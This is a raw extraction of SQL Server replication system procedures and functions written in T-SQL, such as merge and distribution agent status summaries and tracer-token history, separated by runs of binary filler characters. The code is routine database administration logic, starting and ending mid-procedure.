            like N'[0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]'
        begin
            return 0
        end
        else
        begin
            goto MISMATCH
        end
    end

MISMATCH:
    if @job_name is not null
    begin
        raiserror(21695, -1, -1, @job_name)
    end
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`t<,nl0 8--
-- Name: fn_replinttobitstring
-- 
-- Description: This function returns the bit pattern in string format for 
--              the specified 32-bit integer. For example, select 
--              fn_replinttobitstring(0x80000001) would yield
--              '10000000000000000000000000000001'
--
-- Parameter:   @number int
--
-- Returns:     char(32)
--
-- Security:    Execute permission of this function is granted to public.
--
create function sys.fn_replinttobitstring(
    @number int
    ) returns char(32)
as
begin

    declare @bitstring nvarchar(32)

    if (@number & 0x80000000) <> 0 select @bitstring = '1' else select @bitstring = '0'
    if (@number & 0x40000000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x20000000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x10000000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x08000000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x04000000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x02000000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x01000000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00800000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00400000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00200000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00100000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00080000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00040000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00020000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00010000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00008000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00004000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00002000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00001000) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000800) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000400) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000200) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000100) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000080) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000040) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000020) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000010) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000008) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000004) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000002) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'
    if (@number & 0x00000001) <> 0 select @bitstring = @bitstring + '1' else select @bitstring = @bitstring + '0'

    return @bitstring
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`+C<)i0q 8
--
-- Name:
--      sp_MSrepl_distributionagentstatussummary
--
-- Description:
--      Called by sp_MSrepl_subscriptionsummary in the context of the 
--      distribution database via the distributor RPC link to get distribution
--      agent status for a subscription.
--
-- Security:
--      Public, PAL access
--  Requires Certificate signature for catalog access
--
-- Returns:     
--        0 : success
--        1 : failure          
--
CREATE PROCEDURE sys.sp_MSrepl_distributionagentstatussummary
(
    @publisher              sysname,
    @publisher_db           sysname,
    @publication            sysname,
    @subscriber             sysname,
    @subscriber_db          sysname,
    @distribution_status    int             OUTPUT,
    @distribution_message   nvarchar(255)   OUTPUT,
    @distribution_time      datetime        OUTPUT,
    @distribution_duration  int             OUTPUT
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode                int,
            @distribution_agent_id  int,
            @publisher_id           int,
            @subscriber_id          int

    SET @retcode = 0

    --
    -- Making sure that we are at a distribution database
    --
    IF sys.fn_MSrepl_isdistdb(db_name()) <> 1
    BEGIN
        RAISERROR (21482, 16, -1, 'sp_MSrepl_distributionagentstatussummary', 'distribution')
        RETURN 1
    END

    --
    -- PAL check and validate publication
    --
    EXEC @retcode = sys.sp_MSreplcheck_pull @publication = @publication,
                                            @raise_fatal_error = 0
    IF (@@error != 0) OR (@retcode != 0)
        RETURN 1

    SET @publisher_id = NULL
    SELECT @publisher_id = server_id
      FROM sys.servers
     WHERE UPPER(name collate database_default) = UPPER(@publisher) COLLATE database_default
    IF @publisher_id IS NULL
    BEGIN
        RAISERROR (21618, 16, -1, @publisher)
        RETURN 1
    END

    SET @subscriber_id = null
    SELECT @subscriber_id = server_id
      FROM sys.servers
     WHERE UPPER(name collate database_default) = UPPER(@subscriber) COLLATE database_default
    IF @subscriber_id IS NULL
    BEGIN
        RAISERROR (14048, 16, -1, @subscriber)
        RETURN 1
    END    

    -- Initialize output params
    SELECT @distribution_status = 0,
           @distribution_time = NULL,
           @distribution_message = formatmessage(14196),
           @distribution_duration = 0            

    -- Get distribution agent id
    SELECT @distribution_agent_id = id
      FROM dbo.MSdistribution_agents
     WHERE publisher_id = @publisher_id
       AND publisher_db = @publisher_db
       AND publication = @publication
       AND subscriber_id = @subscriber_id
       AND subscriber_db = @subscriber_db
 
    -- Get distribution agent summary
    IF EXISTS
    (
        SELECT *
          FROM dbo.MSdistribution_history WITH (READPAST)
         WHERE agent_id = @distribution_agent_id
    )
    BEGIN
        SELECT TOP (1)
                @distribution_status    = runstatus,
                @distribution_time      = sys.fn_replformatdatetime(start_time),
                @distribution_message   = comments,
                @distribution_duration  = duration
          FROM dbo.MSdistribution_history WITH (READPAST)
         WHERE agent_id = @distribution_agent_id
        		and comments not like N'<stats state%'
        ORDER BY time DESC, timestamp DESC 
    END            
    
    RETURN 0
END
0} 88--
-- Name: 
--		sp_MSadd_tracer_history
-- 
-- Description: 
--		The children history rows (MStracer_history) track the amount 
--		of time it took the distribution agent to retrieve the trace record 
--		from the distribution db and apply at the subscriber. This procedure will
--		also insert a single row for each active subscription. In the anonymous case,
--		the subscription must have sync'd once for a row to be added. The row will
--		contain a null value for the subscriber_commit time until the distrib agent
--		applies the tracer token at the subscriber.
--  
-- Parameters: 
--		@tracer_id			int    			newly inserted tracer token id
--		@subscribers_found	bit output		output val specifying whether or not subscribers were found
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Sysadmin (never run by dist agent)
--
create procedure sys.sp_MSadd_tracer_history
(
	@tracer_id	int
)
as
begin
	set nocount on

	declare @retcode 			int,
			@publication_id		int,
			@agent_id			int
			
    --
    -- security check
    -- only sysadmin can execute this
    --
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
        raiserror(21089, 16, -1)
        return (1)
    end
	
	select @retcode 		= 0,
			@publication_id = NULL,
			@agent_id		= 0

	-- retrieve the publication id to be used in the cursor for subscriptions
	select @publication_id = publication_id
		from MStracer_tokens
		where tracer_id = @tracer_id
		
	-- ensure that the given tracer_id is valid
	if @publication_id is NULL
	begin
		-- we will not raiserror here because the caller will
		return 1
	end
	
	begin transaction tr_sp_MSadd_tracer_history
	save transaction tr_sp_MSadd_tracer_history

	/*
	 * Now insert a row in the tracer subscribers history table so that we
	 * only display information for the currently active subscriptions
	 */
	 
	-- we will insert a new history row for every active agent
	declare add_tracer_sub_cursor cursor fast_forward for
		select agent_id
			from sys.fn_activedistributionagentids(@publication_id)	
	
	open add_tracer_sub_cursor

	fetch next from add_tracer_sub_cursor into @agent_id
	
	while (@@fetch_status <> -1)
	begin
		insert into MStracer_history
		(
			parent_tracer_id,
			agent_id
		)
		values
		(
			@tracer_id,
			@agent_id
		)
		if @@error <> 0
		begin
			goto Err_Handler
		end
		
		fetch next from add_tracer_sub_cursor into @agent_id
	end

	close add_tracer_sub_cursor
	deallocate add_tracer_sub_cursor
 
	commit transaction tr_sp_MSadd_tracer_history
	
	return 0

Err_Handler:
	close add_tracer_sub_cursor
	deallocate add_tracer_sub_cursor

	rollback transaction tr_sp_MSadd_tracer_history
	commit transaction 
 
	return 1
end
0z D8Ffh	a%	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!e`<2+-s0g 8
create procedure sys.sp_columns_90_rowset2
(
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
-----------------------------------------
-- copy & pasted from version 2 !
-----------------------------------------
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS_90,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE_90, -- Used by Yukon clients
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH_90,
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH_90,
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION_90,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG_90,
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA_90,
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME_90,
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG_90,
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA_90,
        COLLATION_NAME          = s_cv.COLLATION_NAME_90,
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID_90,
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS_90,
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION_90,
        IS_COMPUTED             = s_cv.IS_COMPUTED,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_cv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_cv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME         = s_cv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME      = s_cv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME       = s_cv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME             = s_cv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME= s_cv.SS_UDT_ASSEMBLY_TYPENAME

    from
        sys.spt_columns_view s_cv

    where
        (@table_schema is null or schema_id(@table_schema) = s_cv.schema_id) and -- check schema
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
0`@ 8--
-- Name: 
--  sp_mergesubscriptionsummary
--
-- Description:
--  Returns the status summary of the merge agent for the specified 
--  merge subscription.
--
-- Returns:
--  0 : success
--  1 : failure
--
-- Security:
--  Public procedure, internal PAL check.
--  Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_mergesubscriptionsummary
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode            int,
            @distributor_rpc    sysname,
            @distributor        sysname,
            @distribution_db    sysname,
            @pubid              uniqueidentifier,
            @procedure          nvarchar(4000),
            @publisher          sysname,
            @publisher_db       sysname

    SET @retcode        = 0
    SET @publisher      = publishingservername()
    SET @publisher_db   = db_name()

    --
    -- PAL check and validate publication
    --
    exec @retcode = sp_MSreplcheck_pull @publication = @publication,
                                        @raise_fatal_error = 0
    IF (@@error != 0) OR (@retcode != 0)
        RETURN 1
    
    -- Make sure current database is enabled for merge replication
    EXEC @retcode = sys.sp_MSCheckmergereplication
    IF (@@error != 0) OR (@retcode != 0)
        RETURN 1

    -- Parameter check: @subscriber
    IF @subscriber IS NULL
    BEGIN
        -- "The parameter @subscriber cannot be NULL."
        RAISERROR (14043, 16, -1, '@subscriber', 'sp_mergesubscriptionsummary')
        RETURN 1
    END

    SELECT @pubid = pubid
      FROM dbo.sysmergepublications
     WHERE UPPER(publisher) = UPPER(@publisher)
       AND publisher_db = @publisher_db
       AND name = @publication
    IF @pubid IS NULL
    BEGIN
        -- The publication '@publication' does not exist.
        RAISERROR (20026, 16, -1, @publication)
        RETURN 1
    END

    IF NOT EXISTS (SELECT *
                     FROM dbo.sysmergesubscriptions
                    WHERE UPPER(subscriber_server) = UPPER(@subscriber)
                      AND db_name = @subscriber_db
                      AND pubid = @pubid) -- We allow retrieval of push and (well-known) pull merge agent status
    BEGIN
        -- "The subscription could not be found."
        RAISERROR (20021, 16, -1)
        RETURN 1
    END
                
    EXEC @retcode = sys.sp_helpdistributor
            @rpcsrvname = @distributor_rpc OUTPUT,
            @distribdb = @distribution_db OUTPUT
    IF (@@error != 0) OR (@retcode != 0) OR @distribution_db IS NULL
    BEGIN
        -- "The Distributor has not been installed correctly."
        RAISERROR (20036, 16, -1)
        RETURN 1
    END

    DECLARE @merge_status           int,
            @merge_message          nvarchar(1000),
            @merge_time             datetime,
            @merge_duration         int,
            @merge_percent_complete decimal(5,2)

    SET @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSrepl_mergeagentstatussummary'
    EXEC @retcode = @procedure
            @publisher = @publisher,
            @publisher_db = @publisher_db,
            @publication = @publication,
            @subscriber = @subscriber,
            @subscriber_db = @subscriber_db,
            @merge_status = @merge_status OUTPUT,
            @merge_message = @merge_message OUTPUT,
            @merge_time = @merge_time OUTPUT,
            @merge_duration = @merge_duration OUTPUT,
            @merge_percent_complete = @merge_percent_complete OUTPUT
    
    IF (@@error != 0) OR (@retcode != 0)
    BEGIN
        RETURN 1
    END
    
    SELECT @merge_status AS merge_status,
           @merge_message AS merge_message,
           @merge_time AS merge_time,
           @merge_duration AS merge_duration,
           @merge_percent_complete AS merge_percent_complete

    RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<h7U=0 ,8create procedure sys.sp_MSsub_cleanup_prop_table AS

    /*
    ** Security Check
    */
    -- Internal sp, not granted to public.
    -- Ignore all errrors
    declare @drop_table bit

    -- Init to drop table
    select @drop_table = 1

    if object_id('MSreplication_subscriptions') is not NULL
    begin
        if exists (select * from MSreplication_subscriptions where 
            subscription_type <> 0)
            select @drop_table = 0
    end
            
    if object_id('sysmergesubscriptions') is not NULL
    begin
        if exists (select * from dbo.sysmergesubscriptions where subid <> pubid and 
            db_name = db_name() and 
            subscriber_server = convert(sysname, SERVERPROPERTY('ServerName')) collate database_default and
            subscription_type <> 0 and
            status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            select @drop_table = 0
        end
    end

    if @drop_table = 1
        drop table dbo.MSsubscription_properties
0@ 8CREATE PROCEDURE sys.sp_helppublication_snapshot 
(	
	@publication	sysname,
	@publisher		sysname = NULL
)
AS
BEGIN
	DECLARE @cmd		nvarchar(4000)
	DECLARE @retcode	int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type = @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_helppublication_snapshot'

	EXEC @retcode = @cmd @publication		= @publication,
							@publisher		= @publisher,
							@publisher_type = @publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`t
<,	>F0^ 8
--
-- Name:
--      sp_MSrepl_mergeagentstatussummary
--
-- Description:
--      Called by sp_mergesubscriptionsummary in the context of the 
--      distribution database via the distributor RPC link to get merge
--      agent status for a subscription.
--
-- Security:
--      Public, PAL access
--  Requires Certificate signature for catalog access
--
-- Returns:     
--        0 : success
--        1 : failure          
--
CREATE PROCEDURE sys.sp_MSrepl_mergeagentstatussummary
(
    @publisher              sysname,
    @publisher_db           sysname,
    @publication            sysname,
    @subscriber             sysname,
    @subscriber_db          sysname,
    @merge_status           int             OUTPUT,
    @merge_message          nvarchar(1000)   OUTPUT,
    @merge_time             datetime        OUTPUT,
    @merge_duration         int             OUTPUT,
    @merge_percent_complete decimal(5,2)    OUTPUT
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode        int,
            @merge_agent_id int,
            @publisher_id   int,
            @subscriber_id  int

    --
    -- Making sure that we are at a distribution database
    --
    IF sys.fn_MSrepl_isdistdb(db_name()) <> 1
    BEGIN
        RAISERROR (21482, 16, -1, 'sp_MSrepl_mergeagentstatussummary', 'distribution')
    END

    --
    -- PAL check and validate publication
    --
    EXEC @retcode = sys.sp_MSreplcheck_pull @publication = @publication,
                                            @raise_fatal_error = 0
    IF (@@error != 0) OR (@retcode != 0)
        RETURN 1
    
    SET @publisher_id = NULL
    SELECT @publisher_id = server_id
      FROM sys.servers
     WHERE UPPER(name collate database_default) = UPPER(@publisher) COLLATE database_default
    IF @publisher_id IS NULL
    BEGIN
        RAISERROR (21618, 16, -1, @publisher)
        RETURN 1
    END

    -- Check to make sure the subscription is valid
    IF NOT EXISTS (
        select 1 from MSpublications p join MSmerge_subscriptions s
            on p.publication_id = s.publication_id and
               p.publisher_id = s.publisher_id and
               p.publisher_db = s.publisher_db
         where UPPER(s.subscriber collate database_default) = UPPER(@subscriber collate database_default) and
               UPPER(s.subscriber_db collate database_default) = UPPER(@subscriber_db collate database_default) and
               UPPER(p.publisher_db collate database_default) = UPPER(@publisher_db collate database_default) and
               UPPER(p.publication collate database_default) = UPPER(@publication collate database_default) and
               p.publisher_id = @publisher_id
    )
    BEGIN
        RAISERROR (14048, 16, -1, @subscriber)
        RETURN 1
    END

    -- Initialize output params
    SELECT @merge_status = 0,
           @merge_time = NULL,
           @merge_message = formatmessage(14196),
           @merge_duration = 0,
           @merge_percent_complete = 0.0
    
    -- Get merge agent id
    SELECT @merge_agent_id = id
      FROM dbo.MSmerge_agents
     WHERE publisher_id = @publisher_id
       AND publisher_db = @publisher_db
       AND publication = @publication
       AND UPPER(subscriber_name collate database_default)= UPPER(@subscriber collate database_default)
       AND subscriber_db = @subscriber_db

    -- Get merge agent summary
